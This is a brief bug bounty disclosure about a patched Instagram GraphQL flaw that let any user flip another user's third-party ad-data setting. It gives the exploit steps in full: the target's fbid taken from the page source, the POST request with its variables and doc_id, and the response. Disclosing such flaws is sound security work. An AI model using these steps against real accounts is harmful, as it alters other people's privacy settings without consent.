Published On: 22 Mar 2022
On Instagram Android or iOS app, users have a control option to indicate whether they want Instagram to use data about their activity from partners to personalize their ads on Instagram. This setting includes information about activity on third-party sites and apps - https://www.facebook.com/help/instagram/2885653514995517
Due to an incorrect GraphQL configuration, any user can modify a specific other user's ad settings.
Step
1
You will first need the InstagramV2 ID of the target user:
- Go to the Instagram profile
- Right-click the page and click on "View Page Source," or press Ctrl + U to see the page's source
- Search for "fbid"
Step
2
Send a POST request to graph.facebook.com/graphql and changes the value of the "igfbidv2" parameter to the fbid obtained in step 1;
variables={"igfbidv2":"0","isUndo":true}
doc_id=4155574647857786
Step
3
Response:
"data":{
"tc_opt_out_from_third_party_for_igfbidv2": {
"is_opted_out_from_third_party_for_igfbidv2": false,
"id": "000"
}
After the patched confirmation, I found a bypass, but it was closed as duplicate internally.